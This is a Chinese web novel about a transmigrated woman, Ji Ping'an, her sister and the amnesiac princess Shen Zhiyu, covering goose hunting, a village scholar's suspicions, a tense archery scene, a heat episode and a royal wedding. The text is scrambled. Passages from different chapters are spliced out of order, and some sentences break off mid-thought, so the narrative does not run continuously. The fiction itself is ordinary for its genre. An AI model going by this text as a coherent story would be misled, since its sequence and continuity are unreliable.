岁岁小口小口咬着手上的饼,看到后问道:“阿姐,你昨晚被蚊子咬啦?” 季平安顿了下,掩饰般地把衣领往上拉了拉:“很明显?” “嗯嗯”,岁岁点头,在自己的脖子处比划着,“这边和这边都是,我们屋子里的蚊子这么凶的吗?” 季平安:“很凶。” 差点让她没了命,可不是凶嘛。 岁岁没有想到还未到夏天,竟然就有了蚊虫,认真道:“那我也注意些。” “好。”说话的时候,季平安难得心虚一瞬,总有种欺骗小孩的感觉。 接下来的两天,沈之虞基本都是昏昏沉沉的状态,偶尔醒过来也是很疲倦的样子。 直到第三天早上,她才感觉雨露期的症状完全消失,身体恢复正常,信香也能够完全收住,不会随意地往外散发。 只是身上残留的幽兰味道信香里面,还能感觉到交融的向日葵花的味道。 向日葵花很浅淡,但却格外霸道,让人忽略不得。 因此醒过来后,沈之虞便烧了水洗澡,进到浴桶里后,她才发现旁边的置物篮处,比平时多了块桂花味道的胰子。 她的指尖很细微地停顿了片刻,才拿起旁边那块兰花味道的胰子。 洗完后,天也比刚才亮了许多,能够看到刚刚升起来的太阳,在天边形成道狭长的金色际线。 沈之虞在院子里面,看着季平安的屋门,本应该这个时辰起来的人,却迟迟没有出来。 雨露期的时候,沈之虞的体力不够,思维也跟不上,因此才没有执着于问当晚的事情,但她不可能永远不问。 等了片刻,屋门没有开,反倒是岁岁从屋子里面出来了,她揉着眼睛道:“阿九?” 沈之虞嗯了声,帮小孩把头发稍微理了理。季平安尴尬地笑了一声,余光都在沈之虞的身上,“那叔走路还挺快的。” 她怎么觉得,现在的妻妻关系更差了些! “那可不是。”富贵娘不知道季平安的心情,继续道:“你早点去,也能早点回来。” “婶子说得对。”季平安点头,刻意忽略掉自己旁边有些冷的目光,“我这就上山去了。” 说完,她就出了家门,不带一丝一毫留恋的,眨眼间人就只剩个背影了。 富贵娘反应过来,才对院子里的沈之虞道:“你还别说,平安走路也挺快的。” 沈之虞嗯了声,应该是逃的很快。 说是要上山,但季平安并没有往山上走,而是去了昨日的河边。 普通的猎物,只有能够耐下心来在山上慢慢找,总是不缺的。 但雁子却不一样,它们真正飞起来的时候,箭的高度完全不可能射到,因此只能等合适的时机。 大雁飞累的时候,会在河边或者沼泽处觅食休息,这也是最容易打到大雁的机会。 有的猎人会布上陷阱,等大雁自己“落网”,但是大雁的警觉性很高,陷阱的方式还是太慢了。 因此季平安到了河边后,就找了个隐蔽的位置坐下,不布陷阱,只靠箭来射。 抽卡的运气没有持续到今天,一直等到中午,太阳高悬在天空的时候,季平安也没有看到过大雁。 她挪了个树荫处,一边吃着饼,一边盯着河边。 太阳慢慢西斜,时间也慢慢地过去,季平安抬头,透过枝叶之间的缝隙看着天空,碧空如洗,连一只雁子毛都没有看到过。 这也怪不得县城里的人家能开出来八两银子,毕竟等雁子过来就不容易。 直到傍晚,余晖凝成了彩霞,大片大片地铺展在了天边,季平安腿都已经坐麻了,准备离开明天继续的时候,一群大雁却忽地落到了河边。 她瞬间连呼吸都屏住,一寸一寸地将手里的弓箭握紧。 大雁爱好群体活动,基本都是十几只、二十只一起活动,这群大雁也不例外。 在季平安的眼里,这分明是好多个“八两”! 不过射出去一箭,必然会惊动其他的大雁,所以季平安没有贸然地动箭,而是选取着最佳目标猎物。 停在河边后,大雁也不再群体活动,清洁羽毛的、捕食小虾小鱼的,亦或者窝在草地上单纯的休息。 季平安的位置,和大雁有些距离,她扫视过一圈后,盯上了河边的两只大雁。 两只大雁正交着颈,彼此为对方梳理着羽毛,姿态亲密,完全没有意识到即将到来的危险。 季平安尽可能地控制着自己的动作和心跳声,呼吸都放到最轻,甚至连旁边的草都不敢惊动,生怕好不容易等过来的大雁被吓走。 大雁要活的,那就不能够像平时一样直接瞄准致命处。 季平安左手将弓举起来,她慢慢地将箭搭了上去,猎物瞄准镜刚好对准了其中一只大雁的翅膀。 铁箭要重上不少,摸上去都带着些冰凉的感觉,她很轻地眯了下眼,然后又从背篓中拿出了另外一只箭。 眨眼之间,两只箭齐发,锐利的箭锋折射出细闪的光芒,然后在瞬间分别刺入两只大雁的翅膀,然后牢牢地钉在了地上! 旁边的大雁瞬间惊起,扑棱着翅膀迅速地飞往高处,季平安也没有再犹豫,用最快的速度跑到受伤的大雁旁边,防止它们有着伤还能够飞走。 等到捉到两只大雁后,季平安一直虚悬着的心才放下。 她先将两只大雁翅膀上的箭拔下来,然后用带着的麻绳绑住了大雁的双脚,往身上缠了一圈打上活结。 确认两只大雁没有办法逃脱后,她沿着河边找到些地榆,揉碎了平铺到大雁身上暂时止了血。 大雁的品相越好,县丞家和王家收的才会爽快。这话出来,婶子们也全都笑了,“咱们村还有其他的季平安,可不是只有那一个?” 说完,就又给秦昌开始讲季平安怎么和张家男人对峙,保护自己家妹妹和坤泽的事,话里面都是夸对方的。 哪怕秦昌听了许久,但他心里也是不相信的。 事实证明,他的不相信是对的,季平安今天这不又来找他妹妹来了。 还看书?他就算是把书倒着给季平安,这个泼皮无赖也看不出来。 这样想着,他又忍不住道:“你要是会看书,我家的猪都能上树了!” 季平安觉得他这话有毛病:“你家里有猪吗?还会上树呢?” 快半年没吃过猪肉的秦昌:“……” 果然还是那个无赖,气人的本事一流! 秦昌想说些什么,但他跟人吵架的本事弱,愣是把脸都憋红了,最后只有两个字:“无赖!” 季平安差点没崩住笑,但还是和人解释了一遍:“之前的事情,你就当我年轻不懂事吧,不过我今天确实不是来找你妹妹的,之后也不会找了,你可以放心。” 她指了指自己身上背着的背篓,又抬头示意了下自己家的位置:“我们就是去了趟河边,回家路过而已。” 她能理解秦昌想要保护妹妹的心,但自己没有做过的事情,也不会任由污蔑。 也是这时候,秦昌才发现,季平安的身边还跟着另外两个人。 “阿姐,我们要回家吗?”岁岁摇了摇季平安的手。 她能感觉出来,眼前这个男人对待季平安的态度很差,她不是很喜欢。 “走吧,回家。”季平安揉揉她头。 “你……” 秦昌还想说些什么,结果只能看到季平安的背影。 他皱着眉头捏了捏手上的书,难道真的是他误会了? 另一边。 走出秦家门口后,沈之虞才看向季平安:“你欺负过人家?” 季平安眼神真诚:“没有的事!我现在是什么人你还不清楚吗?” 原主做的事,和她有什么关系呢,季平安是觉得不可能承认的。 沈之虞眼眸微动:“我确实不清楚。” 季平安很会给自己创造有利条件:“那你就当我是个好人。” 说完,她才好奇地问沈之虞:“你知道他刚才念的是什么吗?” “域民不以封疆之界,固国不以山溪之险……” 沈之虞说到一半,才看向季平安,问道:“你能听懂吗?” 她的语气里并没有惊吓,仿佛刚才命悬一线的人不是她。 “阿九毕竟是第一次射箭,就和阿姐第一次捕鱼一样,肯定都会有失误。” 话是对岁岁说的,但她的眼神却从来没有离开过眼前的沈之虞,“对不对?” “嗯嗯!”岁岁把箭拿回来,“阿九再多射几次,一定可以打到猎物的。” 猎物本人季平安,听到这话才终于笑了下,默默在心里想:这么刺激的场景,她还是不要体会第二次了。 但她还是走了两步,到沈之虞的身边,问道:“阿九,还要再试试吗?” 箭射出去之后,沈之虞一直紧绷地肩膀才放松些,手上举着的弓箭也放下来,垂在身体左侧。 闻言,她转过头看季平安,两人视线相对。 季平安的眼眸还是如往常般透明清澈,如同眼前流动的水。 沈之虞一直以为她很了解季平安,但是在刚才的那个瞬间,她才发现自己从来没有看透过对方。 她将手上的弓箭交给了季平安,道:“下次吧。” 锣鼓的声音,伴随着她的脚步声,慢慢地靠近沈之虞之前住的宫殿。 殿门大开,四处都挂着红绸子,季平安深吸了一口气,迈了一步进到殿里去,也看到殿内正等着她的人。 也是这时候,她真正见到了穿着婚服的沈之虞。 公主的婚服和驸马的婚服确实有区别,大红色的婚服裙摆拖曳在地上,上面用金线绣着的云纹如同能够流动,在明灿灿的阳光下熠熠生辉。 沈之虞没有用盖头,头上佩戴的是珠帘,微微晃动间,姣好的容颜也若隐若现。 清冷漂亮,唇瓣却比平时的颜色要深些,墨色长发披散在身后,白皙如玉的脖颈处露出一小片皮肤。 和平时的沈之虞一样,却又不一样。 季平安失神片刻,被身边的云琴轻轻碰了下,才回过神来。 她脚步不急不慢,走到了沈之虞的身边,递出一只手来,道:“殿下,我牵着你。” 细腻微凉的指尖搭在了她温热的掌心,季平安感觉她的心也跳快了一下,缓了片刻才握紧她的指尖。 宫里的人见到,吉祥话不要钱的往外说,连带着奏乐的声音都比刚才要大。 从宫里接了人,照旧要沿着京城几条主街转上一圈。 等回到公主府的时候,皇上和皇后也已经坐在了主位上,其他人也分别按照次序落座。 打完大雁,天也彻底地暗了下去,只有天边还有最后一丝未消散的余晖。 季平安看着手上的两只大雁,忽地想起来了今天早上没有用掉的[x2]。 每天的机会都会刷新,并不会累计,她还是现在用了比较好。 岁岁打了个哈欠,但还是没有忘记昨晚季平安嘱咐的事情,道:“阿九,阿姐昨天晚上说,她要去山上打猎,接下来几天可能都不会回来。” “不过阿姐炸了好多丸子和脆饼,我们可以直接吃,再烧些粥就好。” “哦,阿姐还说,如果有人来,厨房里的刀阿九可以随便用,但是不让我碰。” 岁岁说完,院子里安静了一会儿,沈之虞才开口说话。 她的视线落在乾元屋门的位置,语气如往常:“岁岁,你阿姐还说其他的了吗?” 季平安预测了她今日会彻底清醒过来,所以昨天做好了一切准备,今天早上天还没有亮就出了门,为的就是担心碰上她。 担心家里来贼人或者其他的坏人,还让岁岁特地提醒她,如果打不过的话就用刀。 岁岁想了会儿才摇头:“没有了。” 沈之虞点头,内心只有一个想法。 季平安在躲她。 只是还没有开口,季平安便主动放开了手。 退开的时候,她的唇瓣浅浅地划过了沈之虞的耳廓。 很轻,如同一片羽毛扫过,沈之虞还没有反应过来,对方便已经坐直了身体。 沈之虞的视线落到了她的脸上。 不知道是酒的缘故,还是甘霖期的缘故,季平安的脸颊两侧要比平时多了些绯色。 眼眸周围的红已经褪去,很轻地闭着眼,眉头舒展。 看着看着,乾元的头便偏了一瞬,靠在了她的肩膀上。 哪怕都睡着了,季平安的嘴里还是嘟囔着“……不可以”。 沈之虞垂眸,两人的发丝缠在一起,她轻声问道:“什么不可以?” 季平安的声音也越来越小,“反正就是不可以。” 沈之虞很轻地勾了下唇角。 雪花纷纷扬扬,季平安正拿着伞,快步的朝她走来。 “冷不冷,怎么也不知道先找个位置躲一躲?” 沈之虞嗯了一声,看着眼前人道:“还好。” 她想,早就应该明白自己的心意的。 见到季平安受伤和生病的时候,她会担心。 对方看向其他人的时候,她会不舒服,希望对方能一直看着她。 想到对方要离开的时候,第一念头竟然是不希望这件事情发生。 或许,在南三郡那晚,哪怕什么都没有发生。 但察觉到对方靠近,她没有阻止,就该明白了。 她喜欢对方。 第 106 章 第 106 章 “殿下?”季平安撑着伞,看顿在原地的人。 沈之虞这才回神,道:“你怎么过来了?” 季平安回道:“下雪了,我听小姨说你临时出了府,还没有带伞,就想着来外面找找,好在看到殿下了。” 两人并撑一把伞,靠的很近。 沈之虞走在她的身边,问道:“雪人堆完了吗?” “殿下看到了呀?”季平安笑了下,道:“本来快堆完了,不过下雪之后可能又要和岁岁重新堆了。” 说完,她才想起来问:“殿下出府是有什么事情吗?” 沈之虞随便找了个借口,道:“只是想到有件事要交代一下。” 季平安点头,没有再多问,只道:“那我们快些回去,外面有点太冷了,待久了容易生病。” 街上的人声不低,大部分说的都是吉祥祝福的话,还有少数讨论驸马身份的,把她们两人相遇说的和话本一样传奇精彩。 人声和奏乐的声音交织在一起,更显得热闹,公主府的人还不时地向着街边洒碎银子,将气氛直接推向了高潮。 季平安走在前面,虽然听不清楚所有的话,但也被这氛围感染,忍不住弯了下唇角,连出门的紧张都淡了些。 等她到宫门口的时候,先被同样骑着马的几位皇子和皇女拦住了。 按照习俗,驸马要准确地回答出来他们的问题,才有资格进这个宫门,见到公主。 大婚的日子,五皇子也不敢过分为难,只是简单问了个问题。 沈弘星:“驸马可否为今日做一首诗?” 礼部的人提前和季平安说过这个环节,估计怕的是季平安没读过书,连问题都透露过。 季平安早已经背了下来,也不会觉得为难:“朱门迎亲鼓喧天,良缘永缔今始愿。” 三皇女是最后问的,也没有过分为难,“桃之夭夭,灼灼其华是何意?” 季平安道:“婚礼礼正,人道大伦,纲纪之首。桃之夭夭,也即借桃花盛开的美丽和繁茂,表达对婚姻幸福的祝愿,多谢皇姐。” 问题回答完毕,挡在她前面的人也骑着马让开位置。 经过三皇女的时候,她听到一句“好好对她。” 季平安回道:“会的。” 岁岁站在她们两人中间,脸上还有些迷茫,不知道现在发生了什么。 放到背篓里面的鱼,此刻还没有放弃挣扎,用尽力气翻了个身,然后继续甩着尾巴。 河边并没有其他人,河水汩汩地从上游流着,偶尔响起鸟鸣声,脚边的花开得五颜六色,很有生命力。 唯独就是当她们没有说话后,似乎有些过分安静了。 季平安如同真的在教新人般道:“脚再分开些,左臂可以再伸直一些,拉弓的肩膀放松些,箭射的会更远。” 看了一圈儿的岁岁,还是没有找到猎物,也开始认真听季平安说的话。 甚至还抬头看了眼沈之虞手上的弓箭,自己也想试试。 季平安脑海中的系统页面不知道疯狂抖动了多久,连原本透明的颜色都开始变来变去。 分明不能发出声音,却明显能感觉到系统的着急,生怕沈之虞的箭会射出来。 但季平安像是丝毫没有察觉到危险,当做看不到系统,她只问眼前的人道:“你之前用过弓箭吗?” 用过弓箭吗? 在沈之虞清醒过来后的这段时间内,她并没有摸过弓箭。 但刚才,沈之虞拿起弓的瞬间,身体记忆便告诉她如何拉弓,如何搭箭,如何射出去才能给目标造成的伤害最大,她在之前必然用过弓箭。 她没有回答这个问题,只看着季平安,不知道眼前的人是真傻还是装傻。 也会反击。 这是季平安的机会,她可以夺过对方手中的弓箭,肘弯狠狠压在她细瘦的脖颈处,而那锋利的箭刃会反过来停在沈之虞的眼前。 她们互相都在试探。 话音落下,沈之虞松开了手,弦上的箭射出来,速度很快,如同利刃般破开她们之间的空气。 甚至都没有来得及眨眼,季平安便感觉到箭刃擦着她的耳边飞过,甚至能清清楚楚地听到破空声,一根发丝轻飘飘地从她耳边落下。 “镫——” 射出的箭力道很足,牢牢地扎到了地上,只有尚且在晃动的箭羽在提醒着刚才发生了什么。 岁岁连忙跑到箭的位置,双手用力拔下来后,稚嫩的声音里面还有些遗憾:“阿姐,箭上没有东西。” 季平安嗯了声,伸手将那根头发从肩头拍了下去。男人的声音抑扬顿挫,念文章的时候头也跟着晃,季平安听不出来对方念的是啥文章,但瞄到了对方手上的书。 可惜上面的文字,和她原来的世界有所不同,季平安也看不出来是什么书名。 她的视线有些明显,男人察觉到看过来,立刻皱了皱眉头:“季平安?你又来我家做什么?” “我告诉你,只要有我在,你就别想见到我妹妹。” 季平愣了下,才从记忆里面翻出来男人是谁。 他的名字是秦昌,也是大柳村里面唯一的读书人,平时大家写信或者找人读信,都是来找秦昌。 而且他已经过了县府的考试,是名童生。 日后只要过了府试,就是秀才,不仅能免除征税,每月还可以从县府领取粮食和银两。 但是成为秀才前,粮食银两这种东西都是没有的,因此秦家并不富裕。 古代的纸墨笔砚很贵,秦昌为了给家里减轻负担,有时间便会去县城书馆做做抄书的活。 原主看上了秦昌的坤泽妹妹,经常趁着秦家人不在的时候过来骚扰人家,说些浑话。 秦家妹妹胆小,害怕给家里添麻烦,也不敢和家里人说,还是有一次秦昌从县城书馆早归,才发现这件事。 他把原主狠狠骂了一顿,还说要告到县衙里面,原主这才收敛几分,但秦昌也是彻底记恨上了她。 听到妹妹两个字的时候,沈之虞看向季平安,眼神示意:“她妹妹又是谁?” 季平安抿了抿唇,小声和她道:“误会误会!” 说完,她才看向秦昌道:“我真的不是来找你妹妹的,就是刚才有些好奇你看的书。” 秦昌又怎么会相信她的话,冷哼一声,觉得季平安是在找借口。 他前几天都在县城里面,昨天刚回到村里面,就听到了不少人嘴里都在聊着季平安。 秦昌对季平安十分厌恶,但又担心对方过来骚扰她的妹妹,于是便多问了两句。 谁知道关于季平安的话问出去后,村里的婶子们就拉着他,说了两个时辰,从天亮说到天黑。 “季家闺女现在可是学好了,还能上山打猎呢,听说前不久里正都从她手上买了野物呢。” “这事是真的,我早上起来,经常能看到她上山打猎去呢。” “家里还是得有个坤泽好,你看现在季大和她家里的人过多好……” 秦昌脑子里全是疑问,终于插上话问道:“你们说的季平安,是我认识的那个吗?” 拜天拜地拜父母,这套流程结束后,皇帝也开始说些冠冕堂皇的话。 “今日你二人大婚,也乃皇家幸事,也望公主和驸马琴瑟……” 皇帝的话季平安没有仔细听,心思不由得跑到了自己身旁的人身上。 她们在外面待的时间不短,到现在季平安也有些累,更不用说沈之虞。 但眼下没有办法关心,她只能掩着袖子,轻轻地捏了下对方的指尖:还好吗? 没一会儿,对方的手也动了下,算是当做对她的回应,表示她还好,没什么事情。 季平安轻轻地弯了下唇角,这才放下心来。 等到拜完堂,沈之虞也被人带回到了婚房,季平安话都没有来得及和她说,就被带到了宴席上。 “驸马,今天这日子不喝三杯,可说不过去吧?” “是啊,瞧驸马这模样,酒量就不算差的,今天可得和我们喝个痛快!” “来来来驸马,把这杯酒端住了,祝你和公主百年好合,年年有今朝!” 皇帝主持完婚礼便回了皇宫,没有了约束之后朝中大臣说的话也少了顾忌,人人手里都拿着杯酒凑到了季平安的跟前。 一方面,谁都能看出来皇帝对她的信任和器重,没成亲就授官,还特地把夏苗的事情交代给对方,刚好能趁着这个机会拉近拉近关系。 另一方面,把对方灌醉了,说不定还能套出些他们不知道的事情。 毕竟能让向来冷漠、不喜乾元的七公主,亲自求下赐婚圣旨,这人得是有通天的本事吧! 季平安不爱喝酒,但眼下这情况,不喝也说不过去。 她当即举起酒杯来,连喝了三杯道:“今日承蒙陛下垂爱,赐此良缘,也感谢诸位大人亲临,这杯酒也敬各位!” “驸马爽快!我也来敬驸马一杯!” 她深呼吸两下,才没有把嘴边的“傻”字说出来。 “殿下放心,若是真的有血了,我帮殿下重新做一个。” 沈之虞:“那不就是你送给岁岁的了?” 季平安倒是觉得没有什么问题:“心意到了就行,岁岁肯定不会怪你。” 沈之虞的眸里闪过浅浅的笑意。 她想到刚才自己受伤,季平安着急的神色。 对方既然没有喜欢的人,那对她是不是也算得上特殊呢? 第 107 章 第 107 章 这场雪一直下了两天,京城里面全都堆上了厚厚的一层雪。 放晴后,明媚的太阳也出来了,只是寒意仍旧没有减少。 虽然天气冷,但这段时间的京城很安稳,唯一算的上大事的,就是明贞帝病倒了。 开始宫里面的人说明贞帝只是染了风寒,所以有些咳嗽头疼。 但过了半月,风寒仍旧没有转好,甚至开始晕眩无力,连带着反应迟钝,走路也困难,时常说着话就要吃上一粒逍遥丹。 朝中众人猜测纷纷,心中各有想法。 不少臣子为了江山社稷着想,大着胆子往上递折子,再次提起要立储君的事情。 明贞帝本就不好的身体,看到这些折子后被气的更差。 他索性直接停了早朝,除非必要不接见任何人。 十五。“第一任宿主也没有办法接触到任务目标,任务只能宣告失败。” 季平安:“……原来是这样。第二任宿主呢?”“当然,最重要的是”,季平安仍旧稳稳地站在原地,只是语气顿了下,才道:“不要错过时机。” 如果想要射到猎物,那便不能犹豫,因为猎物会逃脱。季平安打破了这份沉默,她看着眼前偶尔泛着冷芒的箭刃,不知道为何,刚才那种紧张后怕、惊讶错愕的各种情绪,都消失地干干净净,心里只有平静。 她的视线偏移一毫,与沈之虞对上,语气平常问道:“阿九,你看到猎物了?” 这话出来,她身边的岁岁也眨眨眼,知道阿九现在是在做什么了。 原来是想学着阿姐射箭打猎,就是她好像没有看到哪里有兔子之类的猎物。 岁岁也不再看她们两个人,好奇心转移到寻找猎物上,她开始认真观察着周围的环境,仔细看哪里有风吹草动。 沈之虞握着弓臂的手很轻地动了下,然后顺着她的话道:“盯了很久,确实看到猎物了。” 乾元想要强制标记自己的时候,沈之虞便动过这个念头——杀了乾元,不止一次。 乾元给她叫来大夫的时候、说不能放她离开的时候、烤野兔的时候、要给她上药的时候…… 哪怕是在睡梦中,沈之虞偶尔都会想起来这件事。 她也从最开始的愤怒、无力,到慢慢冷静下来,开始做具体的谋划。 沈之虞看过屋子的每个角落,并没有足够杀人的利器,没有剑、没有刀、甚至连稍微大些的石头都被堆在门口。 她也认真想过杀完人后,是趁着县城人多混乱逃走,还是三更半夜躲过村里所有人离开。 沈之虞一直都在等待一个合适的时机。 而如今,她等待的时机到了。 林子无人,她只要松开自己的手指,锋利的箭便会射出去,力道很大,刺向对方的头,血肉飞溅,再没有人能阻止她离开。 她盯了许久的猎物,终于在这一刻露出来致命的弱点。 在开启系统的时候,新手指引提到的任务目标就是[改变原书结局]。 没有改变沈之虞登基三年便去世的结局,自然算不上任务成功。 系统:“第二任宿主穿书的时候和你差不多,任务目标的好感度已经到了-40,她没有找到方法,被任务目标杀了之后逃了出去。” 后面的话,系统不用说季平安也能猜到。 逃出去之后,沈之虞面对的是觊觎她的乾元、寒冷的夜晚、陌生的山林荒野,失掉记忆的迷茫……身体自然好不到哪里去。 季平安:“如果我的任务同样失败呢?”但她看着床上难受的沈之虞,刚才的哭腔还没有下去,仰着头问季平安:“阿姐,阿九会有事情吗?” 季平安顿了下,才道:“不会有事情的,你明天早上睡醒,阿九就会没事的。” 闻言,小孩看了眼床上的人后,便很听话地出去了。 夜里天黑,只能借着月光看东西,季平安见到岁岁进了屋子后,她才转身,“咔”地一声将门栓关紧。 幽兰的香气里面,夹着些许风雪凛冽的味道,也随之被锁在了屋子里面,泄露不出去分毫。 风雪和兰香分明应该是冷淡和清雅的味道,但季平安却觉得屋内温度都高了许多,连带着她脑子都不清醒了几分。 她用力掐了下自己的手心,疼痛将身体的欲望与其他反应暂时压了下去,她才朝着床上的人走去。 沈之虞整个人像是被困在火炉旁边,身体越来越热,但是却没有发泄口,温度全部被困在身体里面,煎熬难耐。 她清醒的意识正在慢慢地流失,身体里连流淌的血液似乎都带着灼人的温度,眼前雾蒙蒙地一层,唯独耳朵格外敏锐。 “咔”地声音落下,是锁门的声音,沈之虞的呼吸停了一瞬。 她能够感觉到有人正在慢慢走近,脚步声也越来越近,连同自己紊乱的呼吸声,一同在她的耳边不断放大,占据住所有注意力。 乾元和坤泽的信香,在平时不会轻易泄露出,季平安也从来没有注意过自己的信香。 但是在甘霖期和雨露期,乾元和坤泽也会互相影响,一方的信香会影响到另外一方,刺激身体的本能。 此刻,季平安也受到了幽兰信香的影响,颈侧不断散发着淡淡的香气。 先是如同阳光晒过的干燥气息,然后又泛上些了向日葵花的味道,与幽兰慢慢交融后,整个屋子里面都带了些甜腻的味道,格外旖旎。 季平安试图控制自己信香的释放,但身体的本能远比她想象的要难控制,一接触到幽兰的香气,向日葵花便忍不住缠了上去。 屋子不大,从门口到床边只有几步路的距离,季平安却走的格外艰难,甚至连气息都有些喘,背后都起了层薄薄的汗。 靠近后,她也能更清楚地看到沈之虞现在的情况。 脸色比刚才还要红,眼尾处还带了抹潮红,双眸紧紧地闭着,水润的唇瓣微张,整个人蜷缩在已经乱了的床被之间。 陷入雨露期的坤泽,意识会比平时迟钝许多,甚至会完全陷入到情|欲里面,季平安只能试探着出声。 “阿九?” 说出这两个字之后,季平安才意识到自己现在的声音有多么沙哑,她只能尽量平稳着语气道:“你现在还能听到我说话吗?” 欲望与信香一起,让季平安的手心都泛着痒意,她只能将指尖紧紧的攥在手心里面,她们两个人,总要有一个清醒的。 但沈之虞并没有出声回答,屋子里格外安静,只有两道稍微重些的呼吸。 季平安等了会儿,只能坐到床边,想看看沈之虞现在是什么情况。 谁料她的指尖将要碰上对方白皙手腕的那一瞬,还在昏迷中的沈之虞,藏在被子里的手却突然刺向她的方向。 系统:“宿主会正常去投胎哦~我们是正经系统,不会随意抹杀宿主灵魂的~” 系统规则是不能够伤害无辜的生命,所以选取的宿主都是已经去世、有求生意愿的人。 这相当于一次公平的交易,系统给对方多一次生存的机会,宿主需要完成对应的任务。 哪怕任务失败,也不会有惩罚的,只是正常去投胎罢了,前两任宿主也是这样的。 季平安:“那沈之虞呢?”十六两银子,瞬间变成了三十二两银子,季平安的衣袖里面放不下,也不安全,她就把银子收到了系统的存储空间里面。 看着上面大大的“32”,季平安突然明白了一夜暴富是什么感觉了,真爽啊! 她先是把手上提着的猪肉放到背篓里,又从存储空间取出来一两银子,去铁匠铺买了自己心心念念做饭用的锅和刀。 季平安现在格外有钱,自然不会买石刀,挑的是铁刀,又在菜摊上买了不少菜,有豆腐和红薯,也有茄子和胡萝卜之类的。 想了想家里暂时没有其他短缺的,她才往县城里唯一一家书馆走过去。 士农工商,士的地位最高,因此东和县城里面不少有钱人家的富户,都指望着自家孩子能考个功名,光耀门楣。 但到底有钱人是少数,买书的人也少,书馆不在县城热闹的地方,季平安走了会儿才看到间不大的铺子,就是东和书馆。 她走进去,里面的人听到声音连忙道:“您好,请问要些什……” 秦昌话没说完,就看到了进书馆的人是谁,微微皱了皱眉:“你来书馆做什么?” 季平安:“我来书馆总不能是吃饭吧?当然是来买书,不欢迎我?” 她现在决定和孟水山站在同一战线,看看秦昌这态度,绝对不能把妹妹嫁给他。 秦昌:“……当然欢迎,你要什么书?” 他虽然不相信季平安会看书,但到底他是在书馆做工的,自然也不能说什么。 季平安回忆了下沈之虞说的书名,“我要一本《九地》,有没有?” 秦昌倒是没有想到,季平安能真的说出来书名来,他惊讶一瞬,才开口道:“有,我帮你去找一找。” 书店卖的多的,也是四书五经之类的,《九地》买的人少,已经放在最下面落了灰,秦昌废了好一番功夫才找出来。 他轻拍了下书页上的灰,递给季平安道:“你看看是不是这本?” 季平安翻开第一页,看着上面陌生的文字,片刻后对秦昌道:“你给我念下第一段。” 秦昌虽然奇怪,但还是照着她的话开始念:“用兵之法,有散地,有轻地,有争地……” 他没念几个字,就被季平安叫停:“用兵之法,这是兵书?” 秦昌点头:“是兵书。” 季平安笑了下,“那没错了,你帮我包起来吧。” 直到季平安出了书馆后,秦昌才开始疑惑,季平安买兵书做什么?! 季平安回到家的时候,还没到中午。 岁岁看着她从背篓里一样接一样地往外拿东西,眼睛都睁地大了些:“阿姐,好多东西。” 季平安点头:“阿姐今天买了肉,给你做槐花包子。” “那我和阿姐一起去摘槐花。”岁岁道,她还记得上次槐树的位置。 “好,阿九也一起去。”季平安把上面的菜拿完,才是下面的锅和刀。 沈之虞的目光凝在那把锋利的刀上,还没有收回视线,便看到自己的眼前多了本书。 “你要的《九地》。” 沈之虞接到手上,随便翻开两页,确实是她熟悉的内容。 季平安这时候也收拾完了,坐在她旁边笑着问道:“风土志?” 她问出这句话,沈之虞合上书页,也和她的视线对上:“你不是已经知道了?” “从别人嘴里知道的,和从你嘴里知道的可不一样。” 季平安说完才问道:“你能想起来之前的事情了?” 若是没有失忆的沈之虞,想看《九地》也理所当然。 沈之虞没有回答,只是反问道:“你希望我记起来吗?” 她们视线相对,两人的眼眸都格外平静,像是在讨论今天中午要吃些什么。 季平安道:“我当然希望。” 系统却没有立刻回答,过了会儿才道:“宿主,我也不知道。” “我的能量已经不够回溯第三次了,无法再进行干预,这次任务失败后,世界会正常进行下去。” 所以会有什么结局,系统也不清楚。林氏也没有什么意见:“那就下次约着看看,接下来还是得麻烦王婆婆您了。” “不麻烦不麻烦。”媒婆笑眯眯地道,“那我问好秦家后,就再来找你们。” 约定好下次见面后,林氏把媒婆从院子里送出去,临走前还塞了几文银子。 送走人,她看着院子里的孟枝才问道:“阿枝,你觉得秦家那小伙子怎么样?” 没等孟枝回答,林氏便忍不住道:“娘倒是觉得不错,秦家和咱们家离得近,你想回家来看看也不麻烦。虽然秦昌看着话不多,但秦家人看着都面善,你过去也不会受欺负……” 孟枝还是一如往常,语气平淡地道:“娘,我不着急。” 林氏听到她这话,生气地问道:“你都十七了,怎么就不着急了?都说你别跟孟水山走太近,她是乾元才不急着相看人家,你……” 她还没有说完,就被孟枝打断:“娘,别说了。” 林氏这才抬头,看到屋子门口站着的孟水山,没好气地低骂了一句,拿着锄头便出了家门。 院子里面重新归于安静,孟枝眼里还是有愧疚,和眼前的人道:“娘说的话你别放在心上。” 孟水山揉了揉她的头,笑着道:“没事,她说的也没错,我做猎户也不着急这件事,倒是你今天和秦家见面了,觉得怎么样?” 孟枝垂了下眸,搬出来林氏和媒婆说的话:“秦家人还不错,两家也合适。” 孟水山听完,视线一直落在她的身上:“那你的想法呢?你觉得秦昌人怎么样?” 孟枝蜷了下指尖:“他人也挺好的,说话也礼貌。” 孟水山听到这个,不知道为什么突然有些生气,声音都有些高:“他人哪里好了?我都问过自己的朋友了,他人死板,不懂变通,刚才你娘也说了他平时还不爱说话,平日都待在县城里边,你过去连个说话的人都没有!” “他现在还读书,买那些贵的要命的书和笔,家里还能剩下几个钱,你难道要跟着他过苦日子?” 她宁愿自己多上山几遭,都没有想过让孟枝吃苦。 孟枝:“阿姐,他在县城里有活计的。” 孟水山简直要气笑:“你怎么还给他说话,你难道还不信我的话?” 孟枝轻轻摇头,轻声道:“阿姐,我不是帮他说话。” 孟水山:“你见了一面就要胳膊肘往外拐了,这还不是帮他说话?” 孟枝轻笑道:“前些日子相看的乾元倒是爱说话,村里的坤泽他都聊过。上一个相看的乾元家里有钱,但家里桌子上就摆着酒壶,还有四房兄弟姐妹。” “秦家虽然条件一般,但人不错,我也不是天仙,怎么可能找到样样都好的人对不对?” 孟水山这时候的情绪也慢慢冷静下来:“你在我这里就是天仙,怎么找不到了。” 说完,她还特地凑近看了眼孟枝,点头道:“没看错,就是天仙。” 孟枝忍不住弯了下唇角,轻轻拍了下她的胳膊:“阿姐,也就只有你这样想了。” “那是他们都没眼光。”说完,孟水山才道:“反正阿姐觉得秦家还是不太行,你再好好考虑考虑。” “如果拒绝不了你娘的话,那就我去说,也不怕再被多骂两句。” 孟枝看了她一眼,顿了片刻后才道:“好。” 说到最后,系统的语气里都有些沮丧。中午天气热,富贵娘让她们先喝点凉茶,等凉快点儿再干。 趁着这个时间,季平安把岁岁留在富贵家里面,她和沈之虞回家了一趟,看看昏迷的男人。 季平安进到屋子里面后,便看到原本昏迷的男人已经睁开了眼睛。 